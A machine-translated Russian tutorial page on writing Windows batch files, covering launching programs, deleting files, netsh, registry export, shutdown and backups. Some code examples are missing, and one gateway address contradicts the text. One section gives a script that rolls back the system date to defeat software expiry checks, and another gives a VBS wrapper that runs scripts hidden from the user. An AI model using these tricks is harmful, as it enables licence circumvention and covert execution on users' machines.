output. <br>To avoid printing one command on the screen, you can put an @ sign at the beginning of the command.</p> <p>This command will display the command echo Testing, and on the next line - the result of its operation, the word Testing.</p> <p>This command will only display the result of the command, i.e. the word Testing. The command itself will not be output. <br>If you do not need to display commands on the screen throughout the execution of the entire file, then it is easier to write the following command as the first line in the batch file:</p> <p>This command will disable command output to the screen for the duration of the entire batch file. To prevent the command itself from being printed, it begins with the @ symbol.</p> <p><b>How to run another from one bat file</b></p> <p>Sometimes, while executing a batch file, it becomes necessary to run another batch file. Moreover, in some cases, the execution of the main batch file must be suspended while the auxiliary file is executed, and in others, the auxiliary file must run in parallel with the main one. <br>For example, let's create two bat files. One named 1.bat and containing just one command</p> <p>The second one is named 2.bat and also contains one command</p> <p>Now let's run the 1.bat file. A window will open in which you will be asked to press any key to continue, after pressing which the window will close. Thus, calling one batch file to another using the call command stops execution of the batch file until the batch file called by the call command completes execution.</p> <p>In another case, you need to launch either an application or another batch file from a bat file without interrupting the execution of the main batch file. This often needs to be done, for example, by forcibly opening the log of a batch file scheduled for the night, so that in the morning the user can check the correctness of its execution. To do this, use the start command. Let's correct the line in file 1.bat to</p> <p>and run the 1.bat file. Now a window has opened in which you need to press any button to continue, and the window of the main batch file (1.bat) has closed. <br>Thus, to call another from one batch file, without stopping the first batch file, you need to use the start command. <br>The start and call commands discussed above can be used not only to launch other batch files, but also to launch any applications or open files. <br>For example, the start log.txt command in the body of a batch file will open the log.txt file in Notepad without stopping the batch file.</p> <p><b>How to send a message from a bat file</b></p> <p>When a batch file is being executed on one of the machines on the network, it is convenient to inform the administrator that its execution has finished using a message sent to the administrator's machine. You can do this by including the command in the batch file</p> <p>net send name Message text</p> <p>Where name is the name of the machine or user to whom the message is addressed, and Message text is the text of the message. After running this command, a message will be sent to user name. <br>Please note that when using Cyrillic in the text of the message, the text must be typed in MS-DOS encoding (866 <a href="https://fighters.ru/en/irlandskii-yazyk-kodovaya-stranica-windows-chto-delat-esli-sletela-kodirovka/">code page</a>). Otherwise, the message will arrive in the form of unreadable characters. You can type text in DOS encoding using any text editor that supports this encoding. This could be, for example, FAR. Open a batch file for editing in FAR (F4) and press the F8 button. The top line of the editor should indicate the DOS encoding, and at the bottom, at the tooltip about the shortcut keys, the F8 key should have the inscription Win, indicating that the current encoding is DOS and to switch to the Win encoding you need to press F8.</p> <p><b>How to automate file deletion by type</b></p> <p>To clear your disk of temporary files, you can use the command</p> <p>del /f /s /q C:\*.tmp</p> <p>Where <br>/f - deletes all files, even if they have the read-only attribute set <br>/s - deletes files from all subdirectories <br>/q - disables the request to confirm file deletion <br>C: is the drive on which files will be found and deleted. You can specify not the entire disk, but a folder, for example, C:\WinNT <br>*.tmp - type of files that will be deleted</p> <p>Be careful with the /q switch and the types of files you delete. The command deletes without asking permission and, if the wrong file type is specified, it can delete unnecessary ones.</p> <p><b>How to change a computer's IP address from a batch file</b></p> <p>The IP address can be changed using the netsh command. <br>To correctly change the IP address, you first need to find out the current configuration. This can be done on the command line using the command</p> <p>netsh interface ip show address</p> <p>The result of this command is to display the current configuration of the network interface. We are interested in the name of the interface. Let's say it's called FASTNET. <br>Let's assume that you need to change the IP address to 192.168.1.42, the network addressing is static, without using DHCP, the gateway is 192.168.1.1, the mask is 255.255.255.0. In this case, the command that must be executed from the batch file will look like this:</p> <p>netsh interface ip set address name="FASTNET" static 192.168.1.42 255.255.255.0 192.169.1.1 1</p> <p>After executing this command, the FASTNET interface's IP address will change to 192.168.1.42. <br>The netsh command provides extensive capabilities for managing network settings from the command line. To get acquainted with others <a href="https://fighters.ru/en/maikrosoft-lyumiya-710-interfeis-i-navigaciya-funkcionalnye-vozmozhnosti/">functionality</a> use help with netsh /?</p> <p><b>How to find out the computer name from a bat file</b></p> <p>To find out the computer name when executing a bat file (to use this value in the future), use the command</p> <p>This command returns the name of the computer on which it is running.</p> <p><b>How to rename files by mask from a batch file</b></p> <p>Sometimes it becomes necessary to rename all the files in a folder using a template from a batch file. This can be done using the following command in the bat file:</p> <p>for /f "tokens=*" %%a in ("dir /b PATH\*.*") do ren PATH\%%a Prefix%%a</p> <p>In this line, you need to replace PATH\ with the path to the files that will be renamed, and Prefix with those characters that will be added to the file name when renaming. <br>Don't put the batch file in the folder where the rename is happening, otherwise it will be renamed too. If there are subfolders in the folder where the files are renamed, then a prefix will also be added to the name of the subfolder, i.e. subfolders will be renamed like files. <br>If you specify a specific mask for the file types that are subject to renaming, for example, *.txt, and not *.* as in the example, then only files of the specified types will be renamed. Other files and folders will not be renamed.</p> <p>Second option: <br>set thePATH=C:\test <br>for %%I in (*.txt) do ren "%thePATH%\%%~nxI" "%%~nI.dat" <br><b>How to use the percentage symbol in a batch file</b></p> <p>To use the percent symbol (%) in a batch file, you must write it twice. For example <br>echo 50%% <br>This command in the bat file will display 50%. If you use the command echo 50%, then only the number 50 will be displayed on the screen. <br>Take this feature into account when using the % symbol when writing batch files.</p> <p><b>How to export the registry from a batch file</b></p> <p>regedit.exe -ea C:\environment.reg "HKEY_CURRENT_USER\Environment"</p> <p>This command, when executing a batch file, will dump the HKEY_CURRENT_USER\Environment branch into the file C:\environment.reg When you need to restore the parameter values ​​in HKEY_CURRENT_USER\Environment, it will be enough to run the environment.reg file. This command can be used to make a daily backup of software and system settings that are stored in the registry. <br>Don't forget that if there is a space in the path where the output file should be saved or in the name of the registry hive, they must be enclosed in quotes.</p> <p><b>How to import registry variable values ​​from a batch file</b></p> <p>If there is a need to import previously saved or new variable values ​​into the registry from a batch file, this can be done using the command</p> <p>regedit.exe -s C:\environment.reg</p> <p>This command imports data from the environment.reg file into the registry without prompting for confirmation by using the -s switch.</p> <p><b>How to bypass date checking from a bat file</b></p> <p>Some software checks the current system date upon startup. If the date is greater than what was set by the developer, then the program does not start. For example, a developer believes that a version of a program can work for a month, and then the user will have to install an updated version of the program. On the one hand, this is a concern for the user, who will have at his disposal the latest version of the program with the shortcomings eliminated in relation to previous versions. On the other hand, the manufacturer forces the user to download <a href="https://fighters.ru/en/obzor-samsung-galaxy-j5-2016-sm-j510fn-novoi-versii-selfi-fona-srednego-klassa-obzor/">new version</a> even if the user is completely satisfied with the version of the program that he has installed. <a href="https://fighters.ru/en/remont-usb-fleshki-svoimi-rukami-ustranyaem-apparatnye-i-programmnye/">This problem</a> can be easily solved by using the following batch file, which will run the program, wait for it to complete, and return the date to what it was before the program was launched.</p> <p>set tempdate=%date:~-10% <br>date 01-01-04 <br>notepad.exe <br>date %tempdate%</p> <p>IN <a href="https://fighters.ru/en/razbor-xml-razbor-xml-dannyh-primer-11-vzaimodeistvie-s-dom/">in this example</a> The current system date is first stored in a variable, then (in the second line) the system date is set to January 1, 2004, and then a program is called that checks the system date. In this example it is Notepad. As long as Notepad is open, the batch file waits without completing or setting the system date back. Once Notepad is closed, the batch file will continue executing and set the system date to the value stored in the tempdate variable, i.e. to the one that was before running the batch file.</p> <p>Do not forget that if the path to the file that runs the program contains spaces, then it (the path) must be enclosed in quotes. If the path contains Cyrillic, then when writing a batch file you must use a text editor that supports DOS encoding (for example, FAR). Otherwise, when running the batch file, a message will be displayed stating that " <a href="https://fighters.ru/en/windows-ne-udalos-naiti-faily-ne-udaetsya-naiti-fail-proverte/">specified file</a> is not an internal or external command...".</p> <p>If a program checks the current system date only when it starts and does not do this again during operation, then the batch file can be modified by adding a start statement before the name of the program's executable file, i.e. our example will look like this:</p> <p>set tempdate=%date:~-10% <br>date 01-01-04 <br>start notepad.exe <br>date %tempdate%</p> <p>In this case, the batch file will change the system date, launch the program and, without waiting for it to complete, return the date to the one that was before the program was launched.</p> <p><b>How to wait for a specific file to appear in a bat file</b></p> <p>Sometimes it is necessary to perform some action when a certain file appears in a folder. To organize a check for the appearance of a file in a folder, you can use the following batch file</p> <p>:test <br>if exist c:\1.txt goto go <br>sleep 10 <br>goto test <br>:go <br>notepad</p> <p>Such a batch file will check at 10-second intervals for the presence of file 1.txt in the root of the C drive and when file 1.txt appears, the action specified after the go label will be performed, i.e. this example will launch Notepad. <br>The sleep utility is freely distributed as part of the Resource Kit. You can download it here. <br>If the 1.txt file is large and is being copied from somewhere, it may happen that the batch file will check for its presence while the file has not yet been copied or is busy with another application. In this case, trying to perform some actions with the 1.txt file will result in an error. To prevent this from happening, the batch file can be modified as follows</p> <p>:test <br>if exist c:\1.txt goto go <br>sleep 10 <br>goto test <br>:go <br>rename c:\1.txt 1.txt <br>if not errorlevel 0 goto go <br>del c:\1.txt</p> <p>When the 1.txt file has not been completely copied to drive C, or is occupied by another application, an attempt to rename it will cause an error and the cycle will be repeated until the file is copied completely or is freed. After the rename c:\1.txt 1.txt command is executed without an error (i.e. the file is free), you can perform any actions with it. In the last example it is removing it.</p> <p><b>How to add comments to a bat file</b></p> <p>When writing a large batch file, it is very useful to add comments to its main blocks. This will make it easy to understand what these blocks do over time.</p> <i> </i> <p>Usage <a href="https://fighters.ru/en/primer-prostoi-programmy-s-graficheskim-interfeisom-okonnoe/">GUI</a> in operating systems today seems to be something taken for granted and completely natural, but this was not always the case. First <a href="https://fighters.ru/en/kak-postavit-vin-10-vtoroi-sistemoi-ustanovka-dvuh/">operating system</a> MS DOS, developed by Microsoft, did not have a GUI, and control was performed by entering text commands. Almost 40 years have passed since then, but the command line scripting language is still popular, and not only among developers.</p> <p>The command line is not so convenient, but with its help you can perform operations that are not possible from the GUI. On the other hand, launching the console every time, entering commands into it one after another - all this greatly slows down the work. However, you can significantly simplify the task by creating a bat file or simply a batch file - a text file with the BAT extension containing a list of instructions processed by the CMD command interpreter. Such files are used to automate various tasks, for example, to delete temporary files on a schedule or launch programs.</p> <h2><span>How to create a file with a BAT extension</span></h2> <p>So, how to create a bat file in Windows 7/10? Very simple. To do this, you will need any text editor and knowledge of the basics of the command line. You can use Notepad, or even better, Notepad++, since the latter has syntax highlighting. Create in the editor <a href="https://fighters.ru/en/kak-sozdat-novyi-fail-v-eksele-excel-sozdanie-dokumentov-vopros/">new file</a>, in the “File” menu, select “Save As”, give the future script a name, and in the “File Type” drop-down list, select “Batch file (*bat; *cmd; *nt)”.</p> <p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-2.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>If you want to use Notepad to create a bat file, you need to assign the extension manually, and select “All files” in the “File type” list.</p> <p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-3.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>As you can see, creating a file with the bat extension is not difficult; however, there are some subtleties here. IN <a href="https://fighters.ru/en/windows-7-logonui-oshibochnyi-obraz-oshibka-oshibochnyi-obraz-pri-zapuske-lyubogo/">batch files</a> Line breaks cannot be used, the encoding of the bat file must be set to UTF-8, if the body of the script uses Cyrillic, the encoding must be changed by inserting the chcp 1251 command in the appropriate place.</p> <p>Instead of the BAT extension, you can use CMD, the result of executing the script will be exactly the same.</p> <h2><span>Basic commands, syntax and examples of using batch files</span></h2> <p>You know how to make a bat file, now it’s time for the most interesting part, namely the syntax of the CMD interpreter language. It is clear that an empty batch file will not work, it will not even launch when you double-click on it. For the script to work, at least one command must be written in it. For a visual example, let's see how to write a bat file to launch programs. Let's say that when you start working, you launch three programs every time - Chrome, Firefox and VLC. Let's simplify the task by creating a script that will launch these programs itself at intervals of five seconds.</p> <p>Open an empty batch file and paste the following commands into it:</p><p>Start "" "C:/Program Files/Google/Chrome/Application/chrome.exe" timeout /t 05 start "" "C:/Program Files/Mozilla Firefox/firefox.exe" timeout /t 05 start "" "C :/Program Files/VideoLAN/VLC/vlc.exe"</p><p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-4.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Team <b>start</b> Launches <a href="https://fighters.ru/en/ne-rabotaet-plei-market-android-2-1-4pda-pochemu-ne-rabotaet-gugl/">executable file</a> the desired program, and the command <b>timeout/t</b> sets the interval between starts. Pay attention to the placement of the quotes - they contain paths that contain spaces. Also, if there are Cyrillic characters in the path, you should insert a command that changes the encoding at the beginning of the script <b>chcp 1251</b>, otherwise the interpreter will not be able to read the path correctly.</p> <p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-5.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>When you run the script, four console windows will be opened sequentially; this is normal; after executing the commands, they will all automatically close, however, you can make sure that only the first window opens. To do this, the application launch code should be changed as follows:</p><p>Start /b "" "path"</p><p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-6.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>It may also happen that at some point it will be necessary to pause the execution of the script so that the user can decide whether to execute all other commands or not. There is a command for this <b>pause</b>. Try replacing timeout with it and see what happens.</p><p>Start /b "" "path" pause</p><p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-7.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Let's look at another example of commands for a bat file. Let's write a script that will turn off the computer in one case, and restart it in another. For these purposes we will use the command <b>shutdown</b> with parameters <b>/s</b>, <b>/r</b> And <b>/t</b>. If you wish, you can add a request to perform an action to your body file, like this:</p><p>@echo off chcp 1251 echo "Are you sure you want to turn off your computer?" pause shutdown /s /t 0</p><p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-8.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-9.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Let's explain. The first command hides the text of the commands themselves, the second - sets the Cyrillic encoding, the third - displays a message for the user, the fourth - sets a pause, the fifth - turns off, and with the key <b>/r</b> instead of <b>/s</b> reboots your computer without the traditional one-minute delay. If you don’t want to stand on ceremony with requests and pauses, you can leave only the fifth command.</p> <p>If instead of Russian text when executing the command you see kryakozyabra, try converting the script file to ANSI.</p> <p>What else can you do with scripts? A lot of things, for example, deleting, copying or moving files. Let's say you have a certain data folder in the root of drive D, the contents of which need to be cleared in one fell swoop. Open the batch file and paste the following command into it:</p><p>Del /A /F /Q "D:/data"</p><p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-10.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Or you can do this:</p><p>Forfiles /p "D:/data" /s /m *.* /c "cmd /c Del @path"</p><p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-11.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Unlike the first, the second command deletes files recursively, that is, all files in the data folder will be deleted plus those located in subdirectories.</p> <p>And here's another one <a href="https://fighters.ru/en/slozhnye-makety-s-primeneniem-flex-css-primery-flexbox-neskolko/">useful example</a>. Let's write a script that will create <a href="https://fighters.ru/en/how-to-make-a-backup-of-the-nokia-lumia-backing-up-windows-phone-data/">backup copy</a> the contents of one folder and save the data to another. The command is responsible for copying <b>robocopy</b>:</p><p>Robocopy C:/data D:/backup /e pause</p><p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-12.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>By running such a batch file for execution, you will copy all the contents <a href="https://fighters.ru/en/luchshaya-programma-dlya-vosstanovleniya-udal-nnyh-failov-programmy/">data folders</a> to the backup folder, including subdirectories, empty and with files. By the way, the robocopy command has many parameters that allow you to configure copy parameters very flexibly.</p> <p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-13.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <h2><span>Run bat files as administrator and on a schedule, hidden bat launch</span></h2> <p>Now you know how to create batch files and have some general understanding of the CMD interpreter language. Those were the basics, now it's time to get acquainted with some <a href="https://fighters.ru/en/kak-sdelat-pautinu-otravleniya-v-mainkraft-kak-sdelat-pautinu-v/">useful features</a> working with bat files. It is known that programs require administrator rights to perform some actions. Batniks may also need them. The most obvious way to run a script as an administrator is to right-click on it and select <a href="https://fighters.ru/en/kontekstnoe-menyu-provodnika-kak-dobavit-punkt-v-kontekstnoe-menyu/">context menu</a> the corresponding option.</p> <p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-14.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>In addition, you can make sure that a specific batch file will always be launched with elevated privileges. To do this, you need to create a regular shortcut to such a script, open its properties, click the “Advanced” button and check the “Run as administrator” checkbox in the window that opens. This method is also good because it allows you to select any icon for the shortcut, while a file with a BAT or CMD extension will always have a nondescript appearance.</p> <p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-15.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>Scripts, like all applications, can be launched on a schedule. Team <b>timeout/t</b> is not entirely appropriate here; for delayed launch, it is best to use the built-in Windows Task Scheduler. Everything is simple here. Open with the command <b>taskschd.msc</b> Scheduler, decide on the trigger, select the action “Run program” and specify the path to the bat file. That's all, the script will be launched at the scheduled time.</p> <p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-16.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-17.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i0.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-18.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-19.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p><img src='https://i2.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-20.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>And finally, one more interesting point. When you run a bat file, a command line window appears on the screen, even if only for a fraction of a second. Is it possible to make the script run in <a href="https://fighters.ru/en/kak-na-androide-vyklyuchit-kak-otklyuchit-bezopasnyi-rezhim-na/">hidden mode</a>? It is possible, and in several ways. The simplest one is as follows. Create a shortcut for the bat file, open its properties and select “Collapsed to icon” from the “Window” menu. After this, the only visible sign of the script running will be the appearance of the CMD icon on the taskbar, but no windows will open.</p> <p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-21.jpg' align="center" height="651" width="510" loading=lazy loading=lazy></p> <p>If you want to completely hide the execution of the script, you can use a “crutch” - the VBS script, which will launch your batch file in hidden mode. The script text is below, save it to a file <b>hidden.vbs</b>, having previously replaced the path in the second line of code <i>D:/script.bat</i> path to your body file.</p><p>Set WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "D:\script.bat" & Chr(34), 0 Set WshShell = Nothing</p><p><img src='https://i1.wp.com/viarum.ru/wp-content/uploads/kak-sozdat-bat-fail-22.jpg' align="center" width="100%" loading=lazy loading=lazy></p> <p>There are also other options, for example, using the utility <b>Hidden Start</b>, which allows you to run executable and batch files in hidden mode, including without an invitation.</p> <p>And that's all for now. Information regarding creating BAT scripts can be easily found on the Internet. It's also a good idea to check out William Stanek's "Command Line" tutorial. <a href="https://fighters.ru/en/tehnicheskaya-podderzhka-maikrosoft-windows-10-goryachaya-liniya-microsoft/">Microsoft Windows</a>" Despite the fact that more than ten years have passed since the publication of the book, the information contained in it is still relevant.</p> <br> <br> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast_after?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy loading=lazy>");</script> <div style="clear:both;"></div> </div> <script type="text/javascript" src="https://fighters.ru/wp-content/themes/cehla_mgomz/js/orphus.js"></script> </article> </div> <aside id="sidebar"> <div id="primary" class="widget-area" role="complementary"> <ul class="xoxo"> <li id="categoryposts-2" class="block widget-container widget_categoryposts"><h3 class="widget-title"><a href="https://fighters.ru/en/">The last notes</a></h3><ul> <li class="cat-post-item"> <a class="post-title" href="https://fighters.ru/en/ne-otkryvayutsya-dokumenty-zip-kak-otkryt-papku-zip-i-sohranit/" rel="bookmark">How to open a zip folder and save the resulting files</a> </li> <li class="cat-post-item"> <a class="post-title" href="https://fighters.ru/en/kakoi-internet-podklyuchit-na-mts-telefon-kak-vklyuchit-mobilnyi-internet-mts-na/" rel="bookmark">How to enable MTS mobile internet on your phone</a> </li> <li class="cat-post-item"> <a class="post-title" href="https://fighters.ru/en/prozrachnaya-papka-kak-sozdat-nevidimuyu-papku-na-rabochem/" rel="bookmark">How to create an invisible folder on your desktop</a> </li> <li class="cat-post-item"> <a class="post-title" href="https://fighters.ru/en/meizu-m1-metall-meizu-m1-metal---vse-tak-zhe-lider-v-lineike-note-odin-iz/" rel="bookmark">Meizu M1 Metal is still the leader in the Note line</a> </li> <li class="cat-post-item"> <a class="post-title" href="https://fighters.ru/en/xiaomi-mi-wi-fi-mini-podklyuchenie-instrukciya-po-nastroike-i-podklyucheniyu-wi-fi-na-routerah/" rel="bookmark">Instructions for setting up and connecting Wi-Fi on Xiaomi routers</a> </li> <li class="cat-post-item"> <a class="post-title" href="https://fighters.ru/en/gornolyzhnye-kurorty-prielbrusya-elbrus-azau-i-cheget/" rel="bookmark">Ski resort "Elbrus" (Elbrus) Hotel "Snow Leopard" Cheget, Elbrus</a> </li> <li class="cat-post-item"> <a class="post-title" href="https://fighters.ru/en/1-seriya-bitvy-geimerov-kod-vtoroi-sezon-hyperx-bitvy/" rel="bookmark">The second season of HyperX “Battle of Gamers” has started!</a> </li> <li class="cat-post-item"> <a class="post-title" href="https://fighters.ru/en/lichnyi-opyt-kak-dokazatelstvo-yazyk-programmirovaniya-php/" rel="bookmark">PHP Online: course for dummies</a> </li> <li class="cat-post-item"> <a class="post-title" href="https://fighters.ru/en/mysql-phpmyadmin-polya-tablicy-atributy-unsigned-rabota-s-bazoi-dannyh-mysql-etap-i-sozdanie/" rel="bookmark">Mysql phpmyadmin table fields attributes unsigned</a> </li> <li class="cat-post-item"> <a class="post-title" href="https://fighters.ru/en/problema-reshena-ne-rabotayut-mody-v-poslednei-versii-problema/" rel="bookmark">Mods don't work in the latest version?</a> </li> </ul> </li> </ul> </div> <div id="secondary" class="widget-area" role="complementary"> </div> </aside> </div> <div style="clear:both;"></div> </div> <br> <footer id="footer" role="contentinfo" class="clearfix"> <div id="footer-in"> <div id="colophon"> <div id="footer-widget-area" role="complementary"> <div id="first" class="widget-area"> </div> <div id="second" class="widget-area"> <ul class="xoxo"> <li id="linkcat-58" class="block widget-container widget_links"> <h3 class="widget-title">We are in social networks</h3> <ul class='xoxo blogroll'> <li><a href="https://www.facebook.com/sharer/sharer.php?u=https://fighters.ru/poleznye-bat-faily-napisanie-bat-failov-primery-batnikov/" title="" target="_blank">Facebook</a></li> <li><a href="" title="Instagram">Instagram</a></li> <li><a href="https://www.twitter.com/share?url=https%3A%2F%2Ffighters.ru%2Fen%2Fpoleznye-bat-faily-napisanie-bat-failov-primery-batnikov" title="Twitter" target="_blank">Twitter</a></li> <li><a href="https://vk.com/share.php?url=https://fighters.ru/poleznye-bat-faily-napisanie-bat-failov-primery-batnikov/" target="_blank">In contact with</a></li> </ul> </li> </ul> </div> <div id="third" class="widget-area"> <ul class="xoxo"> <li id="linkcat-2" class="block widget-container widget_links"> <h3 class="widget-title">Categories</h3> <ul class='xoxo blogroll'> <li><a href="https://fighters.ru/en/category/internet/">Internet</a></li> <li><a href="https://fighters.ru/en/category/programs/">Programs</a></li> <li><a href="https://fighters.ru/en/category/instructions/">Instructions</a></li> <li><a href="https://fighters.ru/en/category/windows/">Windows</a></li> <li><a href="https://fighters.ru/en/category/computers/">Computers</a></li> </ul> </li> </ul> </div> </div> </div> <div id="site-info">Copyright fighters.ru</div> </div> </footer> <script type='text/javascript' src='https://fighters.ru/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=4.8'></script> <script type='text/javascript' src='/wp-includes/js/wp-embed.min.js?ver=4.8.4'></script> <br> <br> </body> </html>